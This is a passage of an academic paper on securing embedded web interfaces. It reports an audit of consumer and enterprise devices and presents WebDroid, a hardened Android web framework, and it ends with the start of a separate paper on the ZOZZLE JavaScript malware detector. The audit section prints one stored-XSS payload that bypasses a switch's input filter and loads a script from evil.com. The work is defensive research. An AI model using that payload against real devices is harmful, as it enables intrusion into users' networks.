of devices were tested for each brand. As one can see
we did test devices from vendors specialized in one type
of product such as Buffalo, and from vendors that have a
wide range of products such as D-link.

3.2 Vulnerability classes

XSS. As a warm-up we started by testing for Type 2
(stored) cross-site scripting (XSS) vulnerabilities [13],
which are common in web applications. Most devices
are vulnerable, including those that perform some input
checking. For example, the TrendNet switch ensures that
its system location field does not contain spaces, but does
not prevent attacks of the form:

loc");document.write("<script/src=
’http://evil.com/a.js’></sc"+"ript>.

XSS attacks are particularly dangerous on embedded
devices because they are the first step toward a persistent
reverse XCS, as discussed below.

CSRF. Cross-site request forgery [50] enables an attacker
to compromise a device by using an external web site as
a stepping stone for intranet infiltration. On embedded
devices it can also be used as a direct vector of attack as it
allows the attacker to reboot critical network equipments
such as switches, IP phones and routers. Finally we used
CSRF as a way to inject Type 2 (stored) XSS and reverse
XCS [9] payloads.

File security. For each device, we checked whether it was
possible to read or inject arbitrary files. Some devices,
such as the Samsung photo frame, allow the attacker
to read protected files without being authenticated. On
this device, even when the Web interface was protected
by a password, it was still possible to access the photos
stored in memory by using a specially crafted URL. On
other devices, the Web interface could be compromised
by abusing the log file.

User authentication. Most devices have a default pass-
word or no password at all. Additionally, most devices
authenticate users in cleartext (i.e. without HTTPS). This
was even true for several security cameras, which is sur-
prising given that they are intended to securely monitor
private spaces. We even found that some NAS and photo
frames do not properly enforce the authentication mecha-
nism and it is possible to access the user content (i.e. pho-
tos) without being traced in the logs. Similarly, nothing is
done at the network level to prevent session hijacking as
the traffic is in clear and the cookies are sent over HTTPS.
Finally as far as we can tell not a single device implements
a password policy or an anti-brute force defense.

Clickjacking attacks. Clickjacking attacks [18] are the
most recent, and most overlooked attack vectors as all
devices were vulnerable to them. While at first sight this
does not appear to be a big issue, it turns out that being
able clickjack an embedded interface gives a lot of lever-
age to the attacker. For example basic Clickjacking can
be used to reboot devices, erase their content and in the
case of routers, enable guest network access. Advanced
Clickjacking [49] as demonstrated by Paul Stone at Black-
Hat Europe 2010 allows the attacker to steal the router
WPA key or the NAS password.

Deviceattacker User

Altermate
Channels

Web

Injecton Storage Reflexion

Figure 2: Overview of an XCS attack.
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Brand Camera LOM NAS Phone Photo Frame Printer Router Switch
Allied �

Buffalo � �

Belkin �

D-Link � � �

Dell �

eStarling �

HP �

IBM �

Intel �

Kodak �

LaCie �

Linksys � � � �

Netgear � �

SMS networks �

Panasonic �

QNAP �

Samsung �

SMC �

TrendNet � �

ZyXEL �

Table 1: List of devices by brand.

XCS. A Cross-Channel Scripting attack [9] comprises
two steps, as shown in Figure 2. In the first step the
attacker uses a non-web communication channel such as
FTP or SNMP to store malicious JavaScript code on the
server. In the second step, the malicious content is sent
to the victim via the Web interface. XCS vulnerabilities
are prevalent in embedded devices since they typically
expose multiple services beyond HTTP. XCS bugs often
affect the interaction between two specific protocols only
(such as the combination of HTTP and BitTorrent), which
can make them harder to detect.

Reverse XCS. In a Reverse XCS attack the web interface
is used to attack another service on the device. We
primarily use reverse XCS attacks to exfiltrate data that is
protected by an access control mechanism.

We did not look for SQL injections [21], as it was un-
likely that the audited devices would contain a SQL server.
However we still consider SQL injection attack to be a
potential threat and therefore our framework has security
mechanisms in place to mitigate them. Finally, while in
some cases we found weaknesses in the networking stack
(for example: predictable Initial Sequenced Numbers),
we do not discuss that topic here.

3.3 Tools used
The audit of each device was done in three phases. First,
we performed a general assessment using NMap [31] and
Nessus [42]. Next, we tested the web management inter-
face using Firefox and several of its extensions: Firebug
[20], Tamper Data [26], and Edit Cookies [51]. We used
a custom tool for CSRF analysis. In the third phase we
tested for XCS using hand written scripts and command
line tools such as smbclient.

3.4 Audit results
Table 2 summarizes which classes of vulnerabilities
were found for each type of device. We use the
symbol �when one device is vulnerable to this class of
attacks and �when multiples devices in the class are
vulnerable. The second column from the left indicates
the number of devices tested in that category. We sur-
vey the most interesting vulnerabilities in the next section.

Table 2 shows that the NAS category exhibits the
most vulnerabilities, which can be expected given the
complexity of these devices. We were surprised by the
large number of vulnerabilities in photo frames, which
are relatively simple devices.
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Type # Devices XSS CSRF XCS RXCS File Auth
LOM 3 � � � �

NAS 5 � � � � � �

Photo frame 3 � � � � � �

Router 8 � � � � �

IP camera 3 � � �

IP phone 1 � � � �

Switch 4 � � � �

Printer 1 � � � �

Table 2: Vulnerability classes by device type.

A possible explanation is that vendors rushed to market
in order to grab market share with new features. Indeed, in
the Kodak photo frame, half the Web interface is protected
against XSS while the other half is completely vulnerable.
IP cameras and routers are more mature, and therefore
tend to have a better security. Table 2 also shows that
even enterprise-grade devices such as switches, printers,
and LOM are vulnerable to a variety of attacks, which
is a concern as they are usually deployed into sensitive
environments such as server rooms.

4 Threat Model

Our audit showed that embedded web management inter-
faces pose a serious security threat and are currently one
of the weakest links in home and office networks. In this
section we formalize our attacker model and the security
objectives that our framework aims at achieving.

4.1 Attacker model

In this paper, we are concerned with securing embedded
web interfaces from malicious attackers. Inspired by the
threat model of [6] we are using the ”web attacker” con-
cept with slightly more powerfully attacker as we allow
the attacker to interact directly with the web framework
like in the active attacker model. Accordingly our attacker
model is defined as follows: we assume an honest user
employs a standard web browser to view and interact with
the embedded web interface content. Our malicious web
attacker attempts to disrupt this interaction or steal sen-
sitive information such as a WPA key. Typically, a web
attacker can attempt to do this in two ways: by trying
to exploit directly a vulnerability in the web interface,
or by placing malicious content (e.g. JavaScript) in the
user’s browser and modifying the state of the browser,
interfering with the honest session. We allow the attacker
to attempt to directly attack the web framework in any
way he likes; in particular, we assume that the attacker
will attempt to DDOS the web server, find buffer overflow

exploits or brute force the authentication. Finally, we also
assume that the attacker will be able to manipulate any
non-encrypted session to his advantage.

4.2 Security objectives
Based on our audit evaluation and the attacker model
described above we now formalize what security objec-
tives our framework aims at achieving. These goals fall
into four distinct umbrella objectives that cover all of the
known attacks against a web interface.

Enforcing access control. The first goal of our frame-
work is to ensure that only the right principals have access
to the right data. Access control enforcement needs to be
enforced at multiple levels. First, at the network level, our
framework needs to ensure that the web interface is only
available in the right physical or network location and to
the right clients. At the application level, it means that
the framework needs to ensure that every web resource
is properly protected and that the attacker can not brute-
force user passwords. Finally, at the user level it also
means that the framework offers to the user the ability to
declare whether a specific client is allowed to access a
given web application.

Protecting session state. Protecting session state ensures
that once a session is established with the framework,
only the authenticated user is accessing the session. At
the network level, protecting the session state implies
preventing man in the middle attacks by enforcing the
use of SSL. At the HTTP level, protecting the session
means protecting the session cookies from being leaked
over HTTP (as in the Sidejacking attack) or being read
via JavaScript (XSS).

Deflecting direct web attacks. Deflecting direct web
attacks requires that our framework is not vulnerable to
buffer overflow or at least that the privileges gained in case
of successful exploitation are limited. At the application
level, the framework must be able to mitigate XSS [13],
and SQL injection attacks [21].
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Preventing web browser attacks. In order to prevent
web browser attacks, the framework has to work with the
browser to ensure that the attacker cannot include in a web
site a piece of code (such as an iframe or JavaScript) that
can abuse the trust relation between the browser and the
web interface. These attacks are instances of the confused
deputy problem [6]. They include CSRF and Clickjacking
attacks.

5 System Overview

In this section we discuss the design principles behind our
framework, provide an overview of how the framework
works and describe how a web request is checked and
processed.

5.1 Design principles
To address the threat model presented in the previous sec-
tion, our framework is architected around the following
four principles:

Secure by default. The team in charge of building an
embedded web interface is usually not security savvy
and is likely to make mistakes. To cope with this lack
of knowledge our framework is designed to be secure
by default, which means that every security feature and
check is in place and it is up to the developers to make
them less restrictive or turn them off. For instance, our
default CSP [14] (content security policy) only allows
content from self, which means that no external content
will be allowed to load from a page in the web interface.
Similarly the framework uses whitelists for input filtering:
by default only a restricted set of characters is allowed
in URL parameters and POST variables, and it is up to
the developer to relax this whitelist if needed. As a final
example, the framework injects JavaScript frame-busting
code and the X-Frame-Option header in all the pages
in order to prevent Clickjacking attacks. In the unlikely
situation where the interface needs to be embedded in
another webpage, the developer must turn the defense
mechanism off.

Defense in depth. Since there is no universal fix for many
types of attacks, including XSS, CSRF, and Clickjacking,
our framework follows the defense in depth principle and
implements all the known techniques to try and mitigate
each threat as much as possible. We perform filtering and
security checks at input, during processing, and during
output.

Least privilege. Following the OKWS design [29], we
implement the least privilege principle by leveraging the
Android architecture. Each application and the frame-
work have separate user IDs and sets of permissions; this

guarantees that if the framework or one of the applica-
tions is compromised, the attacker will not take complete
ownership of the data. For instance by taking over the
framework one does not gain access to the phone contacts
list used by one of the applications: our framework only
has the network privilege. Note that the application de-
veloper must modularize his or her application to fully
benefit from the least privilege design. Product features
that can significantly modify device functionality, such
as by executing a firmware upgrade, need to receive spe-
cial consideration as well perhaps resulting in additional
backend checks performed in advance.

User consent. Our last design principle is ”user consent
as permission”: we let the user make the final decisions
about key security policies. For example, when a new
web client wants to access one of the phone web applica-
tions, it is up to the user to allow this or not because only
she knows if this request is legitimate. Similarly, when
the user installs a new web application, she is asked if
she wants to be prompted for approval each time a client
connects to that application. Finally, at install time we
also provide the user with a summary of the security fea-
tures that have been disabled. The user can then decide if
the presented security profile is acceptable or not. While
users can generally not be relied on for ensuring system
security, we implement the user consent principle in or-
der to catch potential security issues that clearly defeat
common sense.

5.2 Server architecture
As shown in Figure 3, the framework is composed of four
blocks and architected like the iptables firewall with a
series of security checks performed at input time, and
another series during output.

The Dispatcher is responsible for forwarding an HTTP
request to the desired application. The forwarding
decision is based on the unique port number assigned to
every application. Separating applications by port number
allows greater granularity for doing data encryption
which is specific to every application. In addition to
forwarding, the Dispatcher is also responsible for policy
based enforcement of security mechanisms.

The Configuration Manager handles per-application
tuning of the security policies. When an application
is first registered with the web server, all the security
mechanisms are turned on by default. The administrator
can then enable or disable individual mechanisms using
the configuration interface. The resulting configuration
is captured in a database and made available to the
Dispatcher for policy enforcement.
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Figure 3: Overview of the framework design showing
the interaction of the different web server components
(dispatcher, applications, and alert system) involved in
the processing a client request.

The Alert System is used to control how the adminis-
trator is to be notified for different events. For instance,
the administrator may want to be explicitly alerted for
every new client connection. The Alert System also
handles notifications caused by malicious web requests
as detected by the Dispatcher. Notifications can either
be passive or active depending on whether they need
approval from the administrator.

Finally, the framework also provides an API for effi-
ciently implementing web applications. The core func-
tionality includes methods to handle HTTP requests and
generate the response. It also provides handlers with
build in security mechanisms for content generation such
as HTML components, CSS, JavaScript, JSON etc. For
instance, the HTML, XML and JSON handlers provide pa-
rameterized functions required to escape dynamic content
before being added to the rendered page. In addition, the
framework provides methods for allowing applications to
construct HTTPOnly or secure cookies.

5.3 Request processing

As depicted in Figure 3 a new web request goes through
a series of input security checks and processing, and is
subsequently forwarded to the actual application. The
response generated is subjected to another iteration of
checks and processing before being sent to the client.
If any check fails then the processing is aborted and a
notification is sent via the Alert System.

The pre-processing step performs two rounds of
security checks. First, the origin of the request is
compared to the client restriction policy in order to block
queries coming from unwanted sources. Second, the
HTTP query is validated through regular expression
whitelists. The corresponding web application is then
identified (based on the port number) and the session and
CSRF tokens validation checks can be done.

After validation, the request is sent to the web appli-
cation which generates a page using our framework and
sends it back to the web server. Before reaching the
network, the response is passed through post-processing
security mechanisms like S-CSP and CSRF token gener-
ation. This usually results in the inclusion of additional
headers and modification of certain HTML elements. The
result is then returned to the client.

6 Security Mechanisms

A broad range of mechanisms and best practices have
been developed over the last few years to counter the
most severe web security problems. It is clear that no sin-
gle technique or framework will make a web application
secure. In addition, expecting developers to understand
and deploy all of these mechanisms on their own is unreal-
istic. Table 3 maps the mechanisms that we embed in our
secure web server implementation against the threats they
are designed to mitigate. We now describe each security
mechanism and provide further references. Note that in
many scenarios we depend on a correct browser imple-
mentation for security capabilities. Wherever possible,
we use additional mechanisms that can add security even
if the browser is not up-to-date or compliant.

HTTPOnly cookies. Many XSS vulnerabilities can be
mitigated by reducing the amount of damage an injected
script can inflict. HTTPOnly cookies [33] achieve this
by restricting cookie values to be accessible by the server
only, and not by any scripts running within a page. In
practice, most cookies used in web application logic are
inherently friendly to this concept, and this is why we
have chosen to build it in. (HTTPOnly cookies are not
implemented by Android HttpCookie.)
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Category Access control Session Direct attack Browser attack
Defense/Threat Bypass Pass guess MITM Hijack XSS SQLi XCS RXCS CSRF Clickjack
HTTP only cookie � � �

Server side input filtering � � �

CSP � �

S-CSP � �

CSRF random token � �

Origin header verification � �

X-FRAME-OPTION �

JS frame-busting code �

SSL � �

HSTS � �

Secure cookie �

Parametrized queries �

URL scanning
Application-wide auth �

Password policy �

Anti brute-force �

Restrict network/location � � � � � � � � � �

DOS protection

Table 3: Threats and corresponding security mechanisms

Server-side input filtering. Even though filtering or
whitelisting of user input can fail if implemented incor-
rectly [3, 2, 1], it is still very important to sanitize user
data before web pages are rendered with it. Input filtering
can prevent scripting exploits as well as SQL injections.
When applied to data coming from other embedded ser-
vices, input filtering can also prevent many XCS attacks.

CSP (Content Security Policy). Pages rendered by the
typical embedded web application have little need to con-
tact external web sites. Correspondingly our server is con-
figured to offer restrictive CSP [14] directives to browsers,
limiting the impact of any injected code in the page.

S-CSP (Server-side Content Security Policy). For
browsers that do not support CSP, we introduce Server-
side CSP. While rendering a particular site, the server
looks at the CSP directives present in the header (or the
policy-uri) and modifies the HTML code accordingly. In-
stead of standard input filtering, the changes are based on
the custom policies defined by the administrator: such as
valid hosts for the different HTML elements, use of inline-
scripts, eval functionality usage and so on. Its novelty lies
in the fact that the resulting HTML page as received by
the browser automatically becomes CSP compliant. In
addition to filtering, S-CSP can also support reporting of
CSP violations via ’report-uri’ directive which ordinarily
is not possible for incompatible browsers.

X-Frame-Options. Clickjacking is a serious emerging
threat which is best handled by preventing web site fram-
ing. Since embedded web applications are usually not

designed with mash-up scenarios in mind, setting the
option to DENY is a good default configuration.

JavaScript frame-busting. Not all browsers support the
X-Frame-Options header, and therefore our framework
automatically includes frame-busting code in JavaScript.
The particular piece of code we use is as simple as possi-
ble and has been vetted for vulnerabilities typically found
in such implementations [44].

Random anti-CSRF token. Cross-site request forgery
is another web application attack which is easy to prevent,
but often not addressed in embedded settings. Our frame-
work automatically injects random challenge tokens in
links and forms pointing back at the web application, and
checks the tokens on page access [39].

Origin header verification. Along with checking CSRF
tokens, we make sure that for requests that supply any
parameters (either POST or GET) and include the Ori-
gin [5] or Referer header, the origin/referer values are
as expected. We do this as a basic measure to prevent
cross-site attacks. When the Referer header is available,
we also check for cross-application attacks, making sure
that each application is only accessed through its entry
pages.

SSL. Securing network communications often ends up
being a low-priority item for application developers, and
this is why our web server uses HTTPS exclusively by
default, with a persistent self-signed certificate created
during device initialization.
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HSTS (HTTP Strict Transport Security) and Secure
cookies. In addition to supporting SSL out of the box,
our server implements the HSTS standard [22] and re-
quests that all incoming connections be over SSL, which
prevents several passive and active network attacks [23].
Moreover, browser cookies are created with the Secure
attribute, preventing the browser from leaking them to the
network in plaintext.

Parametrized rendering and queries. Android already
supports parametrized SQLlite queries [52] and we en-
courage developers to make use of this facility. We have
also added the ability to parametrize dynamic HTML ren-
dering, in which case escaping of the output is performed
automatically.

URL scanning. Incoming HTTP requests are sani-
tized by applying filtering similar to that offered by the
URLScan tool in Microsoft IIS [34]. Our filter is config-
ured to restrict both the URL and query parts of a request,
while changes by the web application developer are al-
lowed if necessary. URLScan is most useful in preventing
web application vulnerabilities due to incorrect or incom-
plete parsing of request data.

Application-wide authentication, password policy,
and password anti-bruteforcing. Recognizing that user
authentication is often a weak spot for web applications,
we have implemented user authentication as part of the
web server, freeing the developers from the need to im-
plement secure user session tracking. In addition, the
password strength policy can be changed according to
requirements, and a mechanism to prevent (or severely
slow down) brute-force attacks is always enabled.

Network restrictions. Most embedded web servers have
a relatively constrained network access profile: either the
device should serve requests only when connected to a
specific network or WiFi SSID, or the hosts requesting
service might match a profile, such as a specific IP or
MAC address. This feature, while easily accessible, can
not be configured by default due to the differences in
individual application environments.

Location restrictions. Similar to network restrictions,
the server can be configured to operate only when the
device is at specific physical locations, minimizing the
opportunities for an attacker to access and potentially
compromise the system.

DDoS. While distributed denial-of-service (DDoS) pro-
tection is difficult, we believe that much can be done to
mitigate such threats. For most applications, maintaining
local service is of top priority, and so we throttle HTTP
requests such that those coming from the local network
always have a guaranteed level of service. Of course, this
can not prevent lower-level network DDoS attacks: these

have to be taken care of separately, outside of the web
server.

7 User interface

This section briefly describes the user interface required
for basic administration of the web server and security
policy management. In the following description, we refer
to the owner of the smart phone or embedded device as
the Admin user.

7.1 Configuration management

Figure 4: Main web server configuration interface.

This interface is used to control the server settings
across all the applications. As shown in Figure 4, it pro-
vides the ability to disable each web application. It also
displays the web server overall statistics such as the num-
ber of active application and the number of active connec-
tions session.

Web server logs. Accessible from the menu options,
the logged events such as failures, new connections and
configuration changes can be visualized.

Settings. From this interface, the Admin overrides some
security features in order to enforce certain mechanisms
for all applications, irrespective of their individual config-
uration.
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Figure 5: Web application configuration interface, al-
lowing per-application customizations (secure settings
highlighted in green).

7.2 Configuration per web application

This interface enables the Admin user to control some
web application parameters such as the port number, the
application name, and its password or tune the security
policy for every application. As shown in Figure 5, it dis-
plays the name, path, security level and status information
along with the currently enabled security mechanisms.
Since all the mechanisms are turned on by default, policy
administration is not strictly necessary. However, this
allows flexibility in the framework that can be useful in
special circumstances. For instance, the Admin user may
wish to disable the heavy S-CSP mechanism in the case
of a restricted set of trusted users. The different function-
alities provided by the interface are described below.

Alarm system configuration. Each new client connec-
tion request can be monitored by setting the alarm noti-
fication level to one of the three possibilities: Disabled,
Passive, or Approval. Both Passive and Approval notifi-
cations alert the administrator about the new connection.
Approval mode has the additional feature of requiring the
Admin user to grant access before proceeding.

Network and location restriction. The web server can
restrict clients connecting based on the network properties
(serving WiFi or 3G only for example) or based on the
current location such as home or office.

Domain whitelist. The Admin can define a list of do-
mains that are allowed in the CSP policy by writing a
comma separated list of domains/IP addresses. If this

<WebServerConf>
<WebApp>
<path>com.android.websms</path>
<Enabled>1</Enabled>
<CSRF>1</CSRF>
<HttpOnlyCookie>1</HttpOnlyCookie>
<XFrame>1</XFrame>
</WebApp>
</WebServerConf>

Figure 6: Web server configuration sample

field is empty, the web server will enforce the restrictive
’allow self’ policy and block all other sources.

IP whitelist. The Admin user can explicitly allow access
for a specific set of trusted hosts by adding a comma-
separated list of IP addresses. For a new connection re-
quest, if the source IP is in this list then access is permitted
regardless of the restrictions described above.

7.3 Configuration without the UI

For embedded devices without a display to access the
configuration interface, the web server can be configured
through an XML file present in the application package
as a raw resource. With this file, the web server adminis-
trator can enforce security mechanisms for specific web
applications or disable all web application that do not
respect some requirements. The web server configura-
tion can also be done after installation by modifying the
SQLite database on the device.

8 Implementation

In this section we describe how our system is imple-
mented and how Android applications interact with
it. Our system consists of two main components: the
Dispatcher (a web server that processes and routes
requests to applications) and our framework API that
Android applications can access.

The Dispatcher works as an Android background
service. As a starting block we used the Tornado
open-source web server that we hardened and mod-
ified to work with our framework. The web server
follows the least privilege principle, and runs with
the minimal permissions set needed to handle HTTP
communications: android.permission.INTERNET.
To be allowed to expose a web interface, an appli-
cation requests a new permission that we created
called com.android.webserver.WEB APPLICATION.
This novel permission is more restrictive than an-
droid.permission.INTERNET and only allows the
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mountWebContent("websms",
Home.class);

mountWebContent("websms/send",
SendSMS.class);

mountWebContent("websms/view",
SMSHistory.class);

mountWebContent("websms/theme.css",
RawRessource.class,
RawRessource.CSS,
R.raw.hello);

Figure 7: WebSMS code used to declare the exposed web
interface.

application to serve web requests via the dispatcher.

At launch time the Dispatcher browses the list of in-
stalled applications for new ones requesting the web ap-
plication permission. By retrieving the ContentProvider
associated to the framework, it queries the security con-
figuration. Following the consent as permission principle
we prompt the user every time a new web application
wants to register. When an application set the same URL
path than another one, the registration is discarded and a
possible malicious application warning is displayed to the
user.

The framework API is a Java library that handles com-
munications between the web server and the web appli-
cation (which run as separate processes). It also provides
a set of classes that help generating web content. Simi-
larly to many modern web framework (i.e. Rails), every
web page need to registered it web path through a func-
tion call, in our case this function is mountWebContent.
This function bind a path to a java class entry point. For
example our WebSMS web application register 4 web
pages: 3 HTML pages and 1 CSS stylesheet (Figure
7). Note the use of the RawRessource.class which al-
lows developer to expose directly raw data to the web
such as CCS files. Our framework provides a set of
classes to help building HTML pages, or handling other
resources request such as pictures, CSS stylesheets or
JavaScript libraries. The java classes Home, SendSMS
and SMSHistory extends the framework class HTML-
Page which provides various methods to add dynamic
content to the pages. In particular the HTMLPage class
has the method appendHTMLContent(content,
String[] vars) that allows to programmatically ap-
pend content to the page. Text variables are represented
by $ which are substituted by the corresponding var string
after it is filtered to prevent XSS. While the authors can
bypass the filtering process if they want by default it is
in place. Similarly, the HTMLPage class ensures that
the data passed to the application is properly sanitized
and that parametrized SQL queries are used in order to
prevent SQL injection.

When an HTTP request is received, it goes through all
pre-processing security mechanisms and is dispatched to
the corresponding web application. The framework API
embeds an Android ContentProvider used by the web
server to query pages. HTTP headers, body and security
tokens are added to the query and then transmitted to the
web application. Using the framework API, the web page
is build and send back as answer to the query. This one is
finally checked by all post-process security mechanisms
and send back to the web client.

9 Case Studies

In this section we present two case studies that demon-
strate how our framework effectively mitigates web
vulnerabilities. We describe the applications we built,
their attack surface, how the framework protects them,
and finally show that when using off-the-shelf security
scanners the framework is indeed able to mitigate the
vulnerabilities found in the apps.

To study the effectiveness of our the system we built
two sample applications that take advantages of the
phone’s capabilities to provide useful services: the first
one, WebSMS, is used for reading and sending SMS from
the browser; the second one, WebMedia, provides a con-
venient web interface to browse and display the photos
and videos stored on the smartphone. We argue that these
two applications—while limited—are good case studies
of what developers might want to built in order to leverage
a device’s capabilities in the form of web applications.

9.1 Applications

WebSMS. When loaded in a client browser, the user can
choose to view the current SMS inbox or send a new one.
For the second choice, the application displays a list of
contacts fetched from the phone’s directory along with a
search box. Clicking on a particular contact allows to send
a SMS directly from the browser. The SMS content is
sent by the browser to the application via a POST request
that contains the contact ID.

WebMedia. This application displays a gallery of photos
and videos stored on the Android device (Figure 8). When
a thumbnail is clicked, a full size view of the media file
is displayed. The application provides a convenient way
to display photos and videos to friends and family on a
big screen. In addition, this application enables seamless
sharing of content with trusted users (friends or family).
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Figure 8: The WebMedia embedded web application.

9.2 Attack surfaces

Without framework support, the web applications suffer
from multiple vulnerabilities. In the WebSMS application,
the contact search can be a vector for reflected XSS or
SQL injection. Also, the capacity to send message and
view their contents afterward can lead to a stored XSS in
the sending and in the receiving phone. The WebMedia
application is vulnerable to CSRF attacks as well. The
XSS attack allows the attacker to steal private information
as the contact list of the sent and received SMS contents.
A CSRF can be conducted to send SMS on behalf of
the user, which can lead to embarrassing situations or
financial loss. In extreme cases, if the phone is used as
a trusted device to authorize sensitive operations such as
bank transfers, then the combination of XSS and CSRF
attacks will allow a malicious user to bypass this security
mechanism and conduct fraudulent operations.

9.3 Security evaluation

In order to evaluate whether our framework is able to
mitigate the attacks against our vulnerable applications
we have run the web scanners Skipfish and Nexpose
against our applications with the framework defense
mechanisms off and then on. When the framework
defenses are turned off, both Skipfish and Nexpose
detected reflected XSS and stored XSS vulnerabilities in
the WebSMS application. When the framework defenses
are turned on, no vulnerabilities are reported. Note that
neither scanner reported the CSRF vulnerabilities.
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Figure 9: Average number of request per second with and
without security features enabled.

This limited experiment shows that our framework can
help effectively and transparently mitigate vulnerabilities
that may exist in embedded web interfaces even though
it can not completely replace good coding practices and
careful code review.

9.4 Performance evaluation
While as stated earlier performance should not be the
focus of a mobile web framework, we still ran a basic
performance evaluation using the Apache benchmark
tool to evaluate the impact of enabling security features
on WebDroid performance. To reflect as accurately as
possible real world usage, we ran these benchmarks over
WiFi with WebDroid on a standard HTC Desire phone
with Android 2.3. We were not able to test over 3G as IP
are not routable.

WebDroid performance in term of requests per second
for the WebSMS application when the number of simul-
taneous connections increase is reported in figure 9. The
figure 10 depicts how fast WebDroid is able to process
each request as the number of simultaneous connections
increase. As visible in the diagrams, WebDroid take be-
tween a 10% to 30% performance hits when the security
features are turned one depending on the number of simul-
taneous connections. On average WebDroid performance
take a 20% hit when the security features are enabled.
While this performance hit might not be acceptable for a
regular website, for an embedded interface we argue that
it is acceptable as even when there are 128 simultaneous
connections, WebDroid is able to serve every request in
less than 80 ms which is below what is the optimal user
tolerance time: 100ms [37].

12
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Figure 10: Average time to process a request with and
without security features enabled.

10 Related Work

Browser defenses. Mozilla Foundation’s Content Secu-
rity Policy (CSP) [14] proposal allows a site to specify
restrictions on content served from the site, including
which external resources the content can load. The CSP
policy is specified as an HTTP header in each HTTP
response. For example, the CSP header

X-Content-Security-Policy: allow self

prevents the content from loading any external resources
or executing inline scripts. Replacing “allow self”
with “allow whitelist” allows external resources from
the given whitelist. Another system, SiteFirewall [9],
takes a similar approach but also allows persistent
browser-side policy storage (via cookies or other, more
secure objects). SiteFirewall is capable of blocking
some types of XCS attacks from being completed.
The system uses a browser extension that acts as a
firewall between vulnerable, internal web sites, and
those accessed by the user on the open Internet. A third
proposal called SOMA [38] implements a mutual consent
policy on cross-origin links. That is, both the embedding
and the embedded content must agree to the action
being initiated. As with CSP, SOMA is implemented
as a content-specific policy rather than a global site
policy. Finally Content Restrictions [32] is another
approach to defining content control policies on web sites.

Frameworks. Generic web frameworks, such as Ruby
on rails [41] and Django, implement numerous features
such as built-in CSRF defenses that help developers to
build secure web interfaces more easily. However this
kind of generic framework is very heavy and therefore
not suitable for being used in embedded devices. We are
not currently aware of any framework specially designed
for embedded devices. Additionally, while designed with
security in mind, these frameworks do not make secure
web application design intuitive for the developer.

In contrast, we strive for a secure by default system
where a developer has to do little if anything in order to
build a secure web application.

Web servers. At the process level, flow control en-
forcement such as the one presented in Histar [54], As-
bestos [11] and Flume [30] can be used to achieve some
of our goals such as document sanitization. The Android
OS [15] capability model can also be extended to enforce
network restrictions. As far as we know, none of the
lightweight web servers like Tornado [12] were built with
the objective of enforcing security principles. Previous
work on security centric web servers such as [29] were
only designed to mitigate low level attacks by enforcing
privilege separation. None of them offered a framework
to mitigate web vulnerabilities.

Other related work. The log injection attack, a simple
form of XCS, has been known for several years [47],
most notably in the context of web servers resolving
client hostnames. Recently, CSRF and XSS attacks have
attracted much attention, including work on various
defense techniques [6]. NAS security has been a topic for
discussion since the early days of networked storage [10].

IP telephony security has also been scrutinized. How-
ever this has only been done for specific protocols, not
for complete systems [48]. Most other work in web
security[13, 24, 4, 17, 25, 28, 43, 32, 36, 40, 53, 46] has
focused on web servers on the open Internet, as opposed
to devices on private intranets, which are the topic of this
work.

11 Conclusion

We present WebDroid the first web application framework
that is explicitly designed for embedded applications, with
a particular emphasis on secure web application design.
We motivate our work with extensive results from audits
carried out over the last two years on a broad range of em-
bedded web servers. We evaluate WebDroid performance
and show that despite the fact that that performance take
a 20% hit when we all the security features are activated,
WebDroid remains sufficiently fast for its purpose. Finally
as a case study we build two sample web applications.
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Abstract
JavaScript malware-based attacks account for a large
fraction of successful mass-scale exploitation happening
today. Attackers like JavaScript-based attacks because
they can be mounted against an unsuspecting user visit-
ing a seemingly innocent web page. While several tech-
niques for addressing these types of exploits have been
proposed, in-browser adoption has been slow, in part be-
cause of the performance overhead these methods incur.

In this paper, we propose ZOZZLE, a low-overhead so-
lution for detecting and preventing JavaScript malware
that is fast enough to be deployed in the browser.

Our approach uses Bayesian classification of hier-
archical features of the JavaScript abstract syntax tree
to identify syntax elements that are highly predictive
of malware. Our experimental evaluation shows that
ZOZZLE is able to detect JavaScript malware through
mostly static code analysis effectively. ZOZZLE has an
extremely low false positive rate of 0.0003%, which is
less than one in a quarter million. Despite this high ac-
curacy, the ZOZZLE classifier is fast, with a throughput of
over one megabyte of JavaScript code per second.

1 Introduction

In the last several years, we have seen mass-scale ex-
ploitation of memory-based vulnerabilities migrate to-
wards heap spraying attacks. This is because more tra-
ditional vulnerabilities such as stack- and heap-based
buffer overruns, while still present, are now often mit-
igated by compiler techniques such as StackGuard [7]
or operating system mechanisms such as NX/DEP and
ALSR [12]. While several heap spraying solutions have
been proposed [8, 9, 21], arguably, none are lightweight
enough to be integrated into a commercial browser.

However, a browser-based detection technique is still
attractive for several reasons. Offline scanning is often
used in modern browsers to check whether a particular

site the user visits is benign and to warn the user other-
wise. However, because it takes a while to scan a very
large number of URLs that are in the observable web,
some URLs will simply be missed by the scan. Offline
scanning is also not as effective against transient mal-
ware that appears and disappears frequently.

ZOZZLE is a mostly static JavaScript malware detec-
tor that is fast enough to be used in a browser. While
its analysis is entirely static, ZOZZLE has a runtime com-
ponent: to address the issue of JavaScript obfuscation,
ZOZZLE is integrated with the browser’s JavaScript en-
gine to collect and process JavaScript code that is cre-
ated at runtime. Note that fully static analysis is difficult
because JavaScript code obfuscation and runtime code
generation are so common in both benign and malicious
code.

Challenges: Any technical solution to the problem out-
lined above requires overcoming the following chal-
lenges:

• performance: detection is often too slow to be de-
ployed in a mainstream browser;

• obfuscated malware: because both benign and ma-
licious JavaScript code is frequently obfuscated,
purely static detection is generally ineffective;

• low false positive rates: given the number of URLs
on the web, while false positive rates of 5% are
considered acceptable for, say, static analysis tools,
rates even 100 times lower are not acceptable for
in-browser detection;

• malware transience: transient malware compro-
mises the effectiveness of offline-only scanning.

Because it works in a browser, ZOZZLE uses the Java-
Script runtime engine to expose attempts to obscure mal-
ware via uses of eval, document.write, etc. by hooking
the runtime and analyzing the JavaScript just before it
is executed. We pass this unfolded JavaScript to a static
classifier that is trained using features of the JavaScript
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AST (abstract syntax tree). We train the classifier with a
collection of labeled malware samples collected with the
NOZZLE dynamic heap-spraying detector [21]. Related
work [4, 6, 14, 22] also classifies JavaScript malware us-
ing a combination of static and dynamic features, but re-
lies on emulation to deobfuscate the code and to observe
dynamic features. Because we avoid emulation, our anal-
ysis is faster and, as we show, often superior in accuracy.

Contributions: this paper makes these contributions:

• Mostly static malware detection. We propose
ZOZZLE, a highly precise, lightweight, mostly static
JavaScript malware detector. ZOZZLE is based on
extensive experience analyzing thousands of real
malware sites found while performing dynamic
crawling of millions of URLs using the NOZZLE

runtime detector.
• AST-based detection. We describe an AST-based

technique that involves the use of hierarchical
